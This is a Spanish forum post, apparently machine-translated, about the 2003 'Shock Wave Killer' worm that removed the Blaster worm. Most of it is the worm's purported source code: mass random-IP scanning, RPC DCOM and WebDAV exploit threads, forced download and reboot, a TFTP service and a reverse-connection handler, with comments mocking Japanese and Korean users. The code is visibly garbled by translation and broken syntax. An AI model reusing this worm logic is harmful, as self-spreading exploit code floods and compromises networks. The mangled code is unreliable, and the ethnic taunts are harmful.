¿Quién es el hacker de "Shock Wave Killer"?
La policía también quiere saber esta pregunta, pero nadie la ha publicado online
Te reenviaré un artículo que te puede ser útil
La El autor de Shock Wave Killer aparece en línea
Prólogo: Después de la aparición del gusano "Shock Wave", una gran cantidad de hosts y servidores personales fueron atacados. Las principales empresas de seguridad y fabricantes de antivirus lanzaron varias soluciones. Inesperadamente, a los pocos días apareció otro origen desconocido. Después de descompilar y analizar el nuevo gusano, algunos expertos en seguridad se sorprendieron al descubrir que el objetivo del gusano es eliminar el gusano de onda de choque y parchear automáticamente el host víctima. El gusano también tiene una función de autodestrucción programada, que obviamente es el objetivo del autor. Todavía hay cierta buena voluntad, pero un gusano es un gusano después de todo, porque enviar una gran cantidad de paquetes icmp aún puede generar una gran presión. a la red de área local de la empresa, aún debemos mantener una gran preocupación y vigilancia sobre la nocividad de los gusanos. Se pueden encontrar artículos relacionados
nLanguageID = 1; Para esto estamos aquí~~
else if ( unOemCP == 950 && wMain == 4 && wSub == 1 ) //tw
nLanguageID = 2 // Los compatriotas deben ayudar ~~
else if ( unOemCP == 932 && wMain == 0x11 && wSub == 1 ) //jp
nLanguageID = -1; ¡urge matar la máquina japonesa!
//Eso es todo, ¿cuándo se pagará la retribución?~~~ Espero que pueda regresar
~~~ Si vuelve a jugar con fuego, se extinguirá~ ~
else if ( unOemCP == 949 && wMain == 0x12 && wSub == 1 ) //kr
nLanguageID = 3 // Menos pajaritos ignorantes se inclinarán y poner en peligro al país~ ~
else{
nLanguageID = -1
}
if (nLanguageID == -1)
return FALSE;
char szServicePack[] = "RpcServicePack.exe"
// descargarlo~~~
if ( !nSystemVer ) { // 2k
if ( !DownloadSpFile (szServicePack, szWin2kSpUrl[nLanguageID]) )
return FALSE
}
else{
if ( !DownloadSpFile (szServicePack, szWinXPSpUrl[nLanguageID]) )
return FALSE
}
char; szExec[180] ;
sprintf(szExec, "%s -n -o -z -q", szServicePack
HANDLE hProcess = MakeProcess( szExec
if ( hProcess == NULL )
return FALSE;
if (WaitForSingleObject(hProcess, 360000) != WAIT_OBJECT_0 ){ //No completado en seis minutos p>
en
TerminateProcess(hProcess,1);
CloseHandle(hProcess);
DeleteFile(szServicePack);
devuelve FALSO; /p>
}
CloseHandle(hProcess);
Dormir (15000);
DeleteFile(szServicePack); if ( ReadRegServicePack(nSystemVer) ) {
ShutDownWindows( EWX_REBOOT | EWX_FORCE );//instalar el service pack ok, reiniciar
it~~~
Sleep( 20000); //¿Alguna vez has reiniciado? El parche no es válido sin reiniciar
Ve y cuéntaselo a Bill~~~
}
return TRUE
}
// IN: IP inicial, número de segmentos B, si es aleatorio, si se debe cambiar WebDav //Peor~~~ Vamos a arreglarnos~~~
void BeginExploitFunction(u_long ulIpStart, int nBCount, BOOL brand, BOOL
bWebDav)
{
HANDLE hThread = NULL
BOOL bFirst = TRUE;
u_long uComp;
for (int i=0;i< (nBCount * 256 * 256); i++){
if ( marca ) p>
uComp = MakeRandIp();
else
uComp = i + ulIpStart;
if ( //Es mejor bloquear algunos objetivos para evitar que sean atacados nuevamente, simplemente juega y mata a la próxima generación sin dañarla
~~~
(BYTE)uComp == 0xc5
(BYTE)(uComp>>16) == 0xc5 || 24) == 0xc5 | |
(PALABRA)uComp == 0x9999 || >(WORD)(uComp >>16) == 0x9999 )
continuar;
u_long *myPara = new u_long
if ( myPara == NULL; ){//Si la asignación falló, inténtelo de nuevo
Sleep(100);
myPara = new u_long
}
if ( miPara ){
if ( hThread )
CloseHandle(hThread);
*myPara = htonl( uComp); dwThreadId;
if (bWebDav)
hThread =
CreateThread(NULL,0,ExploitWebDavThread,(LPVOID)myPara,0,&dwThreadId
else
hThread =
CreateThread); (NULL,0,ExploitRpcDcomThread,(LPVOID)myPara,0,&dwThreadId);
Sleep(2);
}
//Agregar código aquí, para evitar el error de que
InterlockedIncrement(&g_CurThreadCount) en el hilo no podrá ejecutarse en el futuro y se crearán N hilos a la vez durante la primera ejecución
if (! bPrimero && (i >= nMaxThread) ){
Dormir(2000
bPrimero = FALSO
}
mientras( g_CurThreadCount >= nMaxThread) // #define nMaxThread 300, accidentalmente,
Jugué con él~~~
Sleep(2);
}
p>
Sleep(60000);
}
//Programa principal común para el modo de servicio y el modo de consola
void DoIt( )
{
WSADATAwsd;
if(WSAStartup(MAKEWORD(2,2),&wsd)!=0)
return ;
//Matar gusanos
KillMsblast();
//Desinstalar
SYSTEMTIME st; GetLocalTime(&st)
if ( st.wYear == 2004 ){
MyDeleteService(szServiceName
MyDeleteService(szServiceTftpd);
RemoveMe ();
ExitProcess(1); //En realidad, no es necesario. RemoveMe() toma prestado el código del predecesor Under 2k, el
propio. el archivo se eliminará al salir del programa
p>
}
srand( GetTickCount()
memset(pPingBuffer, '\xAA'); , sizeof(pPingBuffer));
/ /Solicite a los enrutadores troncales que descarten inmediatamente los paquetes Icmp Echo con esta característica. ¡La onda doméstica se ha extinguido!~~ ¡El parche!
¡Ya se ha hecho suficiente!~~~
//Preparar el búfer de envío de WebDav
do{
pWebDavExploitBuffer = new char[68000]; p>Sleep(100);
} while( pWebDavExploitBuffer == NULL);
//La bala debe ensamblarse una vez antes de verificar
PressWebDavBufferOnce()
PressRpcDcomBufferOnce();
CheckOnlienAndPressData() //obtener LocalIp y corrección
Invertir IP y puerto en viñeta
//Patch
DoServicePackFunction();
//Establecer hilo receptor
DWORD dwThreadID <; /p>
HANDLE
hWorkThread=CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)RecvSendCmdThread,(L
PVOID)NULL,0,&dwThreadID
<); p>HANDLE p>if(hWorkThread==NULL) // RecvSendCmdThread está bloqueado y hay una conexión inversa. Crea un nuevo hilo para manejarlo.
Maneja múltiples conexiones inversas al mismo tiempo.
retorno;
CloseHandle(hWorkThread);
if ( !MyStartService(szServiceTftpd) ){
Sueño(1000); /p>
InstallTftpService();
Sueño(1000);
MyStartService(szServiceTftpd);
}
Sueño); (2000); //Esperando hilo de recepción Puerto de enlace rand global
u_long ulIP;
for(;{ //Se estima que las máquinas normales realizan un ciclo cada 2 horas
//Primero escanea este segmento de IP
CheckOnlienAndPressData();
ulIP = ntohl(inet_addr(szLocalIp));
ulIP &= 0xffff0000; /p>
BeginExploitFunction ( ulIP, 1, 0, 0);
//Escanea los tres segmentos antes y después de esta IP
CheckOnlienAndPressData()
;if (rand() % 2)
ulIP += 0x00010000;
else
ulIP -= 0x00030000
BeginExploitFunction( ulIP, 3, 0, 0);
//Escanea otro segmento WebDav y salta del bloqueo 135 syn
CheckOnlienAndPressData()
; ulIP = MAKELONG(0, wdIpHead[ rand( )% 76 ]); //wdIpHead[] proveedores de IP del segmento B, presten atención~~~,
Tome medidas correctivas de inmediato~~~ lo siento~~~
BeginExploitFunction( ulIP, 1, 0, 1);
//Escanee IP aleatoria nuevamente, el número es 1 segmento B, rpc o webdav
CheckOnlienAndPressData ();
if ( rand() % 2)
BeginExploitFunction( ulIP, 1, 1, 0
else
BeginExploitFunction( ulIP, 1, 1, 1) ; //Incluso saltar, saltar, saltar~~~
KillMsblast()
}
/ /WSACleanup();
}
---
-------------------------------------------------- ---------------------------------------
Para facilitar la lectura, se agregan algunas explicaciones adicionales
1. Flashsky es uno de los fundadores de www.xfocus.net, un experto en seguridad en Venus y es bueno en poesía antigua. A mediados de julio, se reveló el código fuente del método de explotación de vulnerabilidades RPC. La divulgación del informe de análisis de desbordamiento causó conmoción en el campo de la seguridad global. La principal tecnología de propagación del gusano de onda de choque provino de la descripción técnica revelada por este experto.
2. VirusBOy es un niño que sabe un poco sobre seguridad. Su nivel no es tan bueno, pero será mejor que no lo provoques. Puedes soportar un DDOS.
3. Un experto en seguridad de una empresa de seguridad comentó que el contenido de la publicación es básicamente cierto y que el código fuente del gusano ha sido confirmado.
El Centro de Detección de Rising Anti-Virus volvió a interceptar esta noche un virus que aprovechaba la vulnerabilidad RPC de Microsoft para propagarse. Sin embargo, este nuevo virus nació para ser el enemigo del virus Shockwave original.
El ingeniero de Rising Anti-Virus analizó que el virus se caracteriza por matar el virus "Worm.Blaster" y agregar una vacuna para evitar que el virus Worm.Blaster ingrese al sistema.
El nuevo virus intentará descargar un parche del sitio web de Microsoft y parcheará automáticamente el sistema infectado. Luego, el virus abrirá cientos de subprocesos para hacer ping a otras direcciones IP y se propagará rápidamente a través de vulnerabilidades RPC, consumiendo una gran cantidad de recursos de red y CPU, y puede provocar que el sistema falle. El autor del virus parecía no tener intención de hacer el mal, y el virus estaba destinado a autodestruirse en 2004.
Dado que el virus utiliza el método PING para la detección y solo infecta las máquinas que pueden hacer PING con éxito, los ingenieros de Rising Anti-Virus recuerdan a los usuarios que establezcan reglas de firewall para prohibir el ping, lo que puede prevenir eficazmente la intrusión del virus.